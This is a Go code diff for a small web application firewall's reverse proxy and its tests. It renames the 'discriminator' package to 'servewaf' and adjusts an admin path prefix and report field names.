@@ -384,15 +384,15 @@ func (rq *request) finish(ctx context.Context) {
|
||||
return
|
||||
}
|
||||
|
||||
report := &discriminator.Report{
|
||||
report := &servewaf.Report{
|
||||
RequestID: rq.id,
|
||||
Status: min(rq.out.status, reportStatusMax),
|
||||
RequestBytes: requestBytes,
|
||||
ResponseBytes: responseBytes,
|
||||
DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
|
||||
DurationTotal: requestlog.Milliseconds(end.Sub(rq.start)),
|
||||
}
|
||||
if !rq.upstreamStart.IsZero() {
|
||||
report.DurationUpstreamTotalMS = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
|
||||
report.DurationUpstreamTotal = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
|
||||
}
|
||||
|
||||
rq.h.sendReport(ctx, report)
|
||||
|
||||
+29
-29
@@ -1,10 +1,10 @@
|
||||
// Package rproxy is the reverse proxy in front of one app that asks discriminator
|
||||
// about each request. It passes a request discriminator allows to the app and the
|
||||
// Package rproxy is the reverse proxy in front of one app that asks servewaf
|
||||
// about each request. It passes a request servewaf allows to the app and the
|
||||
// app's answer back, within the size and time limits. Any other answer from
|
||||
// discriminator goes to the visitor as discriminator gave it. SWRP_DEFAULT_DISPOSITION
|
||||
// decides only when discriminator cannot be connected to, does not answer at all, or
|
||||
// servewaf goes to the visitor as servewaf gave it. SWRP_DEFAULT_DISPOSITION
|
||||
// decides only when servewaf cannot be connected to, does not answer at all, or
|
||||
// does not answer within SWRP_TIMEOUT_MS. rproxy itself refuses a request with a
|
||||
// method it does not pass on, or one it cannot put to discriminator as the visitor
|
||||
// method it does not pass on, or one it cannot put to servewaf as the visitor
|
||||
// sent it. It keeps nothing between requests and never touches disk. "rproxy" in
|
||||
// SPEC.md says what it does.
|
||||
package rproxy
|
||||
@@ -22,10 +22,10 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/servewaf"
|
||||
)
|
||||
|
||||
// How rproxy keeps connections to the app and to discriminator open between
|
||||
// How rproxy keeps connections to the app and to servewaf open between
|
||||
// requests.
|
||||
const (
|
||||
idleConns = 100
|
||||
@@ -45,9 +45,9 @@ const (
|
||||
idleTimeout = 120 * time.Second
|
||||
)
|
||||
|
||||
// ownEndpointPrefix starts the path of every request for sww itself, which
|
||||
// adminPrefix starts the path of every request for smallwebwaf itself, which
|
||||
// never reaches the app.
|
||||
const ownEndpointPrefix = "/_sww/"
|
||||
const adminPrefix = "/_smallwebwaf/"
|
||||
|
||||
// allowedMethods lists the methods rproxy passes on, as an Allow header gives
|
||||
// them. It answers any other method 405 itself.
|
||||
@@ -62,14 +62,14 @@ type Params struct {
|
||||
ProcessLog *slog.Logger
|
||||
}
|
||||
|
||||
// Server is the server `sww rproxy` runs.
|
||||
// Server is the server `smallwebwaf rproxy` runs.
|
||||
type Server struct {
|
||||
*http.Server
|
||||
|
||||
h *handler
|
||||
}
|
||||
|
||||
// New returns the server `sww rproxy` runs. Go's server itself refuses
|
||||
// New returns the server `smallwebwaf rproxy` runs. Go's server itself refuses
|
||||
// a request line and headers over requestHeaderMaxBytes, with 431, closes a
|
||||
// connection idle for idleTimeout, and applies SWRP_MAX_REQUEST_TIME_MS while
|
||||
// the headers arrive. The handler applies the time and size limits from then
|
||||
@@ -83,9 +83,9 @@ func New(params Params) *Server {
|
||||
processLog: params.ProcessLog,
|
||||
errorLog: errorLog,
|
||||
transport: newTransport(),
|
||||
discriminatorTransport: newDiscriminatorTransport(),
|
||||
serveWAFTransport: newServeWAFTransport(),
|
||||
reportURL: (&url.URL{
|
||||
Scheme: backend.Scheme, Host: backend.Host, Path: discriminator.ReportPath,
|
||||
Scheme: backend.Scheme, Host: backend.Host, Path: servewaf.ReportPath,
|
||||
}).String(),
|
||||
}
|
||||
|
||||
@@ -120,10 +120,10 @@ type handler struct {
|
||||
requestLog io.Writer
|
||||
processLog *slog.Logger
|
||||
errorLog *log.Logger
|
||||
// transport carries requests to the app, and discriminatorTransport questions and
|
||||
// reports to discriminator.
|
||||
// transport carries requests to the app, and serveWAFTransport questions and
|
||||
// reports to servewaf.
|
||||
transport http.RoundTripper
|
||||
discriminatorTransport http.RoundTripper
|
||||
serveWAFTransport http.RoundTripper
|
||||
// reportURL is where the reports go.
|
||||
reportURL string
|
||||
// reports waits for the reports being sent. reportsMu guards starting one
|
||||
@@ -145,11 +145,11 @@ func newTransport() *http.Transport {
|
||||
}
|
||||
}
|
||||
|
||||
// newDiscriminatorTransport returns what carries questions and reports to
|
||||
// discriminator. It speaks HTTP/1.1 only. Go's HTTP/2 client refuses to send
|
||||
// a visitor's Upgrade header, or a Connection header other than close or
|
||||
// keep-alive, and that would read as discriminator giving no answer.
|
||||
func newDiscriminatorTransport() *http.Transport {
|
||||
// newServeWAFTransport returns what carries questions and reports to servewaf.
|
||||
// It speaks HTTP/1.1 only. Go's HTTP/2 client refuses to send a visitor's Upgrade
|
||||
// header, or a Connection header other than close or keep-alive, and that would
|
||||
// read as servewaf giving no answer.
|
||||
func newServeWAFTransport() *http.Transport {
|
||||
transport := newTransport()
|
||||
transport.Protocols = new(http.Protocols)
|
||||
transport.Protocols.SetHTTP1(true)
|
||||
@@ -158,15 +158,15 @@ func newDiscriminatorTransport() *http.Transport {
|
||||
}
|
||||
|
||||
// ServeHTTP handles one request: it answers the health check itself, refuses a
|
||||
// request with a method it does not pass on or one it cannot put to discriminator as
|
||||
// request with a method it does not pass on or one it cannot put to servewaf as
|
||||
// the visitor sent it, and for any other request reads the first part of the
|
||||
// body, asks discriminator, and does what the answer says. Once the answer has ended,
|
||||
// body, asks servewaf, and does what the answer says. Once the answer has ended,
|
||||
// it writes the request's log line and sends its report.
|
||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
rq := h.newRequest(w, r)
|
||||
defer rq.finish(r.Context())
|
||||
|
||||
if r.Method == http.MethodGet && r.URL.Path == discriminator.HealthPath {
|
||||
if r.Method == http.MethodGet && r.URL.Path == servewaf.HealthPath {
|
||||
rq.answerHealth()
|
||||
|
||||
return
|
||||
@@ -199,9 +199,9 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
rq.noteAnswer(answer)
|
||||
|
||||
switch rq.disposition {
|
||||
case discriminator.DispositionAllow:
|
||||
case servewaf.DispositionAllow:
|
||||
rq.passToApp(r.Context())
|
||||
case discriminator.DispositionClose:
|
||||
case servewaf.DispositionClose:
|
||||
// This panic has Go's server close the connection without an answer,
|
||||
// and log nothing; the deferred finish still runs.
|
||||
panic(http.ErrAbortHandler)
|
||||
@@ -211,8 +211,8 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
// passToApp passes the request on to the app, unless a limit or its path keeps
|
||||
// it from the app. discriminator answers a path under ownEndpointPrefix itself, so
|
||||
// such a request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the
|
||||
// it from the app. servewaf answers a path under adminPrefix itself, so such a
|
||||
// request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the
|
||||
// request's own context.
|
||||
func (rq *request) passToApp(ctx context.Context) {
|
||||
maxBytes := rq.h.config.MaxRequestSize
|
||||
@@ -220,7 +220,7 @@ func (rq *request) passToApp(ctx context.Context) {
|
||||
switch {
|
||||
case rq.refused.Load() != 0 || (maxBytes > 0 && rq.in.ContentLength > maxBytes):
|
||||
rq.answer(http.StatusRequestEntityTooLarge)
|
||||
case strings.HasPrefix(rq.in.URL.Path, ownEndpointPrefix):
|
||||
case strings.HasPrefix(rq.in.URL.Path, adminPrefix):
|
||||
rq.answer(http.StatusNotFound)
|
||||
default:
|
||||
rq.forward(ctx)
|
||||
|
||||
+112
-116
@@ -19,9 +19,9 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||
"sneak.berlin/go/smallwebwaf/internal/servewaf"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -54,27 +54,27 @@ const (
|
||||
|
||||
// The headers the tests set and look at.
|
||||
const (
|
||||
dispositionHeader = discriminator.DispositionHeader
|
||||
dispositionHeader = servewaf.DispositionHeader
|
||||
forwardedForHeader = "X-Forwarded-For"
|
||||
forwardedProtoHeader = "X-Forwarded-Proto"
|
||||
requestIDHeader = "X-Request-ID"
|
||||
asnHeader = "X-Client-Asn"
|
||||
countryHeader = "X-Client-Country"
|
||||
contentLengthHeader = "Content-Length"
|
||||
// fromDiscriminatorHeader is a header the stand-in for discriminator adds to a deny.
|
||||
fromDiscriminatorHeader = "X-From-Discriminator"
|
||||
// fromServeWAFHeader is a header the stand-in for servewaf adds to a deny.
|
||||
fromServeWAFHeader = "X-From-Servewaf"
|
||||
// addedHeaderValue is the value of a header a test adds to an answer, to see it
|
||||
// reach the visitor.
|
||||
addedHeaderValue = "yes"
|
||||
)
|
||||
|
||||
// What the stand-in for discriminator answers.
|
||||
// What the stand-in for servewaf answers.
|
||||
const (
|
||||
dispositionAllow = discriminator.DispositionAllow
|
||||
dispositionDeny = discriminator.DispositionDeny
|
||||
dispositionClose = discriminator.DispositionClose
|
||||
dispositionAllow = servewaf.DispositionAllow
|
||||
dispositionDeny = servewaf.DispositionDeny
|
||||
dispositionClose = servewaf.DispositionClose
|
||||
// deniedBody is the body of a deny.
|
||||
deniedBody = "refused by discriminator"
|
||||
deniedBody = "refused by servewaf"
|
||||
)
|
||||
|
||||
// output collects what rproxy writes on stdout.
|
||||
@@ -158,7 +158,7 @@ func (l heldLog) Write(p []byte) (int, error) {
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
// question is what the stand-in for discriminator received as a question.
|
||||
// question is what the stand-in for servewaf received as a question.
|
||||
type question struct {
|
||||
method, target, host string
|
||||
header http.Header
|
||||
@@ -167,26 +167,26 @@ type question struct {
|
||||
transferEncoding []string
|
||||
}
|
||||
|
||||
// Discriminator is a stand-in for discriminator that answers each question as
|
||||
// answer does, and keeps the questions and the reports it gets.
|
||||
type Discriminator struct {
|
||||
// serveWAF is a stand-in for servewaf that answers each question as answer
|
||||
// does, and keeps the questions and the reports it gets.
|
||||
type serveWAF struct {
|
||||
*httptest.Server
|
||||
|
||||
questions chan question
|
||||
reports chan discriminator.Report
|
||||
reports chan servewaf.Report
|
||||
}
|
||||
|
||||
// startDiscriminator starts a stand-in for discriminator.
|
||||
func startDiscriminator(t *testing.T, answer http.HandlerFunc) *Discriminator {
|
||||
// startServeWAF starts a stand-in for servewaf.
|
||||
func startServeWAF(t *testing.T, answer http.HandlerFunc) *serveWAF {
|
||||
t.Helper()
|
||||
|
||||
s := &Discriminator{
|
||||
s := &serveWAF{
|
||||
questions: make(chan question, 10),
|
||||
reports: make(chan discriminator.Report, 10),
|
||||
reports: make(chan servewaf.Report, 10),
|
||||
}
|
||||
s.Server = httptest.NewServer(http.HandlerFunc(
|
||||
func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Header.Get(discriminator.ClientHeader) == "" {
|
||||
if r.Header.Get(servewaf.ClientHeader) == "" {
|
||||
s.takeReport(t, w, r)
|
||||
|
||||
return
|
||||
@@ -209,17 +209,14 @@ func startDiscriminator(t *testing.T, answer http.HandlerFunc) *Discriminator {
|
||||
return s
|
||||
}
|
||||
|
||||
// takeReport keeps a report and answers it as discriminator does.
|
||||
func (s *Discriminator) takeReport(
|
||||
t *testing.T, w http.ResponseWriter, r *http.Request,
|
||||
) {
|
||||
// takeReport keeps a report and answers it as servewaf does.
|
||||
func (s *serveWAF) takeReport(t *testing.T, w http.ResponseWriter, r *http.Request) {
|
||||
t.Helper()
|
||||
|
||||
var report discriminator.Report
|
||||
var report servewaf.Report
|
||||
|
||||
err := json.NewDecoder(r.Body).Decode(&report)
|
||||
if err != nil || r.Method != http.MethodPost ||
|
||||
r.URL.Path != discriminator.ReportPath {
|
||||
if err != nil || r.Method != http.MethodPost || r.URL.Path != servewaf.ReportPath {
|
||||
t.Errorf("%s %s is no report: %v", r.Method, r.URL.Path, err)
|
||||
}
|
||||
|
||||
@@ -229,7 +226,7 @@ func (s *Discriminator) takeReport(
|
||||
}
|
||||
|
||||
// wantNoReport checks that no report comes for a moment.
|
||||
func (s *Discriminator) wantNoReport(t *testing.T) {
|
||||
func (s *serveWAF) wantNoReport(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
select {
|
||||
@@ -240,7 +237,7 @@ func (s *Discriminator) wantNoReport(t *testing.T) {
|
||||
}
|
||||
|
||||
// report waits for a report.
|
||||
func (s *Discriminator) report(t *testing.T) discriminator.Report {
|
||||
func (s *serveWAF) report(t *testing.T) servewaf.Report {
|
||||
t.Helper()
|
||||
|
||||
select {
|
||||
@@ -249,12 +246,12 @@ func (s *Discriminator) report(t *testing.T) discriminator.Report {
|
||||
case <-time.After(waitLimit):
|
||||
t.Fatal("no report")
|
||||
|
||||
return discriminator.Report{}
|
||||
return servewaf.Report{}
|
||||
}
|
||||
}
|
||||
|
||||
// question waits for a question.
|
||||
func (s *Discriminator) question(t *testing.T) question {
|
||||
func (s *serveWAF) question(t *testing.T) question {
|
||||
t.Helper()
|
||||
|
||||
select {
|
||||
@@ -267,17 +264,16 @@ func (s *Discriminator) question(t *testing.T) question {
|
||||
}
|
||||
}
|
||||
|
||||
// startDiscriminatorAnsweringReports starts a stand-in for discriminator that
|
||||
// answers each question as answer does and each report as report does, and
|
||||
// returns its URL.
|
||||
func startDiscriminatorAnsweringReports(
|
||||
// startServeWAFAnsweringReports starts a stand-in for servewaf that answers each
|
||||
// question as answer does and each report as report does, and returns its URL.
|
||||
func startServeWAFAnsweringReports(
|
||||
t *testing.T, answer, report http.HandlerFunc,
|
||||
) string {
|
||||
t.Helper()
|
||||
|
||||
backend := httptest.NewServer(http.HandlerFunc(
|
||||
func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Header.Get(discriminator.ClientHeader) != "" {
|
||||
if r.Header.Get(servewaf.ClientHeader) != "" {
|
||||
answer(w, r)
|
||||
|
||||
return
|
||||
@@ -299,7 +295,7 @@ func allow(w http.ResponseWriter, _ *http.Request) {
|
||||
// deny answers a question with deny, status 403 and a body of its own.
|
||||
func deny(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set(dispositionHeader, dispositionDeny)
|
||||
w.Header().Set(fromDiscriminatorHeader, addedHeaderValue)
|
||||
w.Header().Set(fromServeWAFHeader, addedHeaderValue)
|
||||
w.WriteHeader(http.StatusForbidden)
|
||||
_, _ = io.WriteString(w, deniedBody)
|
||||
}
|
||||
@@ -320,7 +316,7 @@ func greet(w http.ResponseWriter, r *http.Request) {
|
||||
_, _ = io.WriteString(w, greeting)
|
||||
}
|
||||
|
||||
// startRProxy starts rproxy with discriminator at backend and the app at appURL, and
|
||||
// startRProxy starts rproxy with servewaf at backend and the app at appURL, and
|
||||
// the settings in env on top of the defaults. It returns where rproxy listens
|
||||
// and what it writes.
|
||||
func startRProxy(
|
||||
@@ -502,7 +498,7 @@ func readStatus(t *testing.T, conn net.Conn) int {
|
||||
func TestPassesAnAllowedRequestToTheAppAndItsAnswerBack(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
standIn := startServeWAF(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set(asnHeader, "AS64496")
|
||||
w.Header().Set(countryHeader, "DE")
|
||||
allow(w, r)
|
||||
@@ -561,7 +557,7 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
|
||||
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
|
||||
}
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
seen := make(chan http.Header, 1)
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
seen <- r.Header.Clone()
|
||||
@@ -606,7 +602,7 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
|
||||
func TestATrustedProxysForwardedHeadersPassOn(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
seen := make(chan http.Header, 1)
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
seen <- r.Header.Clone()
|
||||
@@ -645,7 +641,7 @@ func TestATrustedProxysForwardedHeadersPassOn(t *testing.T) {
|
||||
func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header()["Content-Type"] = nil
|
||||
_, _ = io.WriteString(w, "<html>")
|
||||
@@ -667,19 +663,19 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRemovesTheVisitorsLookupHeadersWhenDiscriminatorGivesNone(t *testing.T) {
|
||||
func TestRemovesTheVisitorsLookupHeadersWhenServeWAFGivesNone(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
backend func(t *testing.T) string
|
||||
}{
|
||||
{"discriminator allows", func(t *testing.T) string {
|
||||
{"servewaf allows", func(t *testing.T) string {
|
||||
t.Helper()
|
||||
|
||||
return startDiscriminator(t, allow).URL
|
||||
return startServeWAF(t, allow).URL
|
||||
}},
|
||||
{"discriminator is down", func(*testing.T) string { return nowhere }},
|
||||
{"servewaf is down", func(*testing.T) string { return nowhere }},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -705,10 +701,10 @@ func TestRemovesTheVisitorsLookupHeadersWhenDiscriminatorGivesNone(t *testing.T)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDenyGivesTheVisitorDiscriminatorsAnswer(t *testing.T) {
|
||||
func TestDenyGivesTheVisitorServeWAFsAnswer(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, deny)
|
||||
standIn := startServeWAF(t, deny)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
@@ -716,8 +712,8 @@ func TestDenyGivesTheVisitorDiscriminatorsAnswer(t *testing.T) {
|
||||
|
||||
got := get(t, addr, "/")
|
||||
if got.status != http.StatusForbidden || got.body != deniedBody ||
|
||||
got.header.Get(fromDiscriminatorHeader) != addedHeaderValue {
|
||||
t.Errorf("answered %+v, want discriminator's answer", got)
|
||||
got.header.Get(fromServeWAFHeader) != addedHeaderValue {
|
||||
t.Errorf("answered %+v, want servewaf's answer", got)
|
||||
}
|
||||
|
||||
if len(got.header.Values(dispositionHeader)) != 0 {
|
||||
@@ -727,27 +723,27 @@ func TestDenyGivesTheVisitorDiscriminatorsAnswer(t *testing.T) {
|
||||
report := standIn.report(t)
|
||||
if report.Status != http.StatusForbidden ||
|
||||
report.ResponseBytes != int64(len(deniedBody)) ||
|
||||
report.DurationUpstreamTotalMS != 0 {
|
||||
report.DurationUpstreamTotal != 0 {
|
||||
t.Errorf("report %+v, of a request denied", report)
|
||||
}
|
||||
|
||||
line := out.requestLine(t)
|
||||
if line["disposition"] != dispositionDeny || line["default_disposition"] != nil {
|
||||
t.Errorf("line %v, want discriminator's deny", line)
|
||||
t.Errorf("line %v, want servewaf's deny", line)
|
||||
}
|
||||
}
|
||||
|
||||
func TestADeniedHeadKeepsDiscriminatorsContentLength(t *testing.T) {
|
||||
func TestADeniedHeadKeepsServeWAFsContentLength(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, deny)
|
||||
standIn := startServeWAF(t, deny)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
|
||||
if got.status != http.StatusForbidden ||
|
||||
got.header.Get(contentLengthHeader) != strconv.Itoa(len(deniedBody)) {
|
||||
t.Errorf("answered %+v, want discriminator's 403 and its length", got)
|
||||
t.Errorf("answered %+v, want servewaf's 403 and its length", got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -762,13 +758,13 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
|
||||
}{
|
||||
{"a deny", "GET /" + host, deniedBody, http.StatusForbidden},
|
||||
{"rproxy's own answer", "GET x:admin" + host, "Bad Request\n", http.StatusBadRequest},
|
||||
{"the health check", "GET " + discriminator.HealthPath + host, "ok\n", http.StatusOK},
|
||||
{"the health check", "GET " + servewaf.HealthPath + host, "ok\n", http.StatusOK},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
log := heldLog{release: make(chan struct{})}
|
||||
standIn := startDiscriminator(t, deny)
|
||||
standIn := startServeWAF(t, deny)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startServerLogging(t, standIn.URL, app.URL, nil, log, io.Discard)
|
||||
|
||||
@@ -798,7 +794,7 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
|
||||
func TestRProxysOwnAnswerIsPlainText(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
standIn := startServeWAF(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -821,7 +817,7 @@ func TestRProxysOwnAnswerIsPlainText(t *testing.T) {
|
||||
func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
standIn := startServeWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set(dispositionHeader, dispositionClose)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
})
|
||||
@@ -853,7 +849,7 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
||||
func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
backend := startDiscriminatorAnsweringReports(t,
|
||||
backend := startServeWAFAnsweringReports(t,
|
||||
func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set(dispositionHeader, dispositionClose)
|
||||
},
|
||||
@@ -871,24 +867,24 @@ func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
|
||||
|
||||
line := out.requestLine(t)
|
||||
|
||||
duration, ok := line["duration_response_ms"].(float64)
|
||||
duration, ok := line["duration_response"].(float64)
|
||||
if !ok || duration < 0 {
|
||||
t.Errorf("line %v, want a duration_response_ms that is not negative", line)
|
||||
t.Errorf("line %v, want a duration_response that is not negative", line)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// answeringWith returns what starts a stand-in for discriminator that answers each
|
||||
// answeringWith returns what starts a stand-in for servewaf that answers each
|
||||
// question as answer does, and returns its URL.
|
||||
func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
|
||||
return func(t *testing.T) string {
|
||||
t.Helper()
|
||||
|
||||
return startDiscriminator(t, answer).URL
|
||||
return startServeWAF(t, answer).URL
|
||||
}
|
||||
}
|
||||
|
||||
// noAnswers are the ways discriminator can leave the decision to the default.
|
||||
// noAnswers are the ways servewaf can leave the decision to the default.
|
||||
func noAnswers() map[string]func(t *testing.T) string {
|
||||
return map[string]func(t *testing.T) string{
|
||||
"no connection": func(*testing.T) string { return nowhere },
|
||||
@@ -920,7 +916,7 @@ func noAnswers() map[string]func(t *testing.T) string {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnAnswerOtherThanAllowGoesToTheVisitorAsDiscriminatorGaveIt(t *testing.T) {
|
||||
func TestAnAnswerOtherThanAllowGoesToTheVisitorAsServeWAFGaveIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
@@ -929,7 +925,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsDiscriminatorGaveIt(t *testing.
|
||||
}{
|
||||
{"a refusal", dispositionDeny, deniedBody, http.StatusForbidden},
|
||||
{"a refusal, 429", dispositionDeny, deniedBody, http.StatusTooManyRequests},
|
||||
{"discriminator's 400", "", "refused\n", http.StatusBadRequest},
|
||||
{"servewaf's 400", "", "refused\n", http.StatusBadRequest},
|
||||
{"a 500", "", "broken\n", http.StatusInternalServerError},
|
||||
{"a 503 denied", dispositionDeny, "busy\n", http.StatusServiceUnavailable},
|
||||
{"no header", "", "who knows\n", http.StatusOK},
|
||||
@@ -939,12 +935,12 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsDiscriminatorGaveIt(t *testing.
|
||||
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
standIn := startServeWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
if tc.disposition != "" {
|
||||
w.Header().Set(dispositionHeader, tc.disposition)
|
||||
}
|
||||
|
||||
w.Header().Set(fromDiscriminatorHeader, addedHeaderValue)
|
||||
w.Header().Set(fromServeWAFHeader, addedHeaderValue)
|
||||
w.WriteHeader(tc.status)
|
||||
_, _ = io.WriteString(w, tc.body)
|
||||
})
|
||||
@@ -957,8 +953,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsDiscriminatorGaveIt(t *testing.
|
||||
|
||||
got := get(t, addr, "/")
|
||||
if got.status != tc.status || got.body != tc.body ||
|
||||
got.header.Get(fromDiscriminatorHeader) != addedHeaderValue {
|
||||
t.Errorf("answered %+v, want discriminator's answer", got)
|
||||
got.header.Get(fromServeWAFHeader) != addedHeaderValue {
|
||||
t.Errorf("answered %+v, want servewaf's answer", got)
|
||||
}
|
||||
|
||||
if len(got.header.Values(dispositionHeader)) != 0 {
|
||||
@@ -970,8 +966,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsDiscriminatorGaveIt(t *testing.
|
||||
t.Errorf("line %v, want status %d and no default", line, tc.status)
|
||||
}
|
||||
|
||||
if out.has("discriminator gave no answer") {
|
||||
t.Error("rproxy warned that discriminator gave no answer")
|
||||
if out.has("servewaf gave no answer") {
|
||||
t.Error("rproxy warned that servewaf gave no answer")
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -981,14 +977,14 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsDiscriminatorGaveIt(t *testing.
|
||||
func TestAnAnswerWithoutAValidDispositionGetsNoReport(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
standIn := startServeWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
http.Error(w, "refused", http.StatusBadRequest)
|
||||
})
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
if got := get(t, addr, "/"); got.status != http.StatusBadRequest {
|
||||
t.Errorf("answered %+v, want discriminator's 400", got)
|
||||
t.Errorf("answered %+v, want servewaf's 400", got)
|
||||
}
|
||||
|
||||
if line := out.requestLine(t); line["disposition"] != nil {
|
||||
@@ -1001,7 +997,7 @@ func TestAnAnswerWithoutAValidDispositionGetsNoReport(t *testing.T) {
|
||||
func TestAnAnswerWithoutAContentTypeGoesToTheVisitorWithNone(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
standIn := startServeWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header()["Content-Type"] = nil
|
||||
w.WriteHeader(http.StatusInternalServerError)
|
||||
_, _ = io.WriteString(w, "<html>broken")
|
||||
@@ -1019,7 +1015,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
||||
|
||||
const size = 1 << 20
|
||||
|
||||
standIn := startDiscriminator(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
standIn := startServeWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusInternalServerError)
|
||||
_, _ = w.Write(make([]byte, size))
|
||||
})
|
||||
@@ -1027,15 +1023,15 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
||||
|
||||
got := get(t, addr, "/")
|
||||
if got.status != http.StatusInternalServerError || len(got.body) != size {
|
||||
t.Errorf("answered %d with %d bytes, want discriminator's 500 with %d",
|
||||
t.Errorf("answered %d with %d bytes, want servewaf's 500 with %d",
|
||||
got.status, len(got.body), size)
|
||||
}
|
||||
}
|
||||
|
||||
// startDiscriminatorWriting starts a stand-in for discriminator that reads
|
||||
// each question and answers it with text, as it is, and returns its URL. It
|
||||
// can send what Go's server would not.
|
||||
func startDiscriminatorWriting(t *testing.T, text string) string {
|
||||
// startServeWAFWriting starts a stand-in for servewaf that reads each question and
|
||||
// answers it with text, as it is, and returns its URL. It can send what Go's
|
||||
// server would not.
|
||||
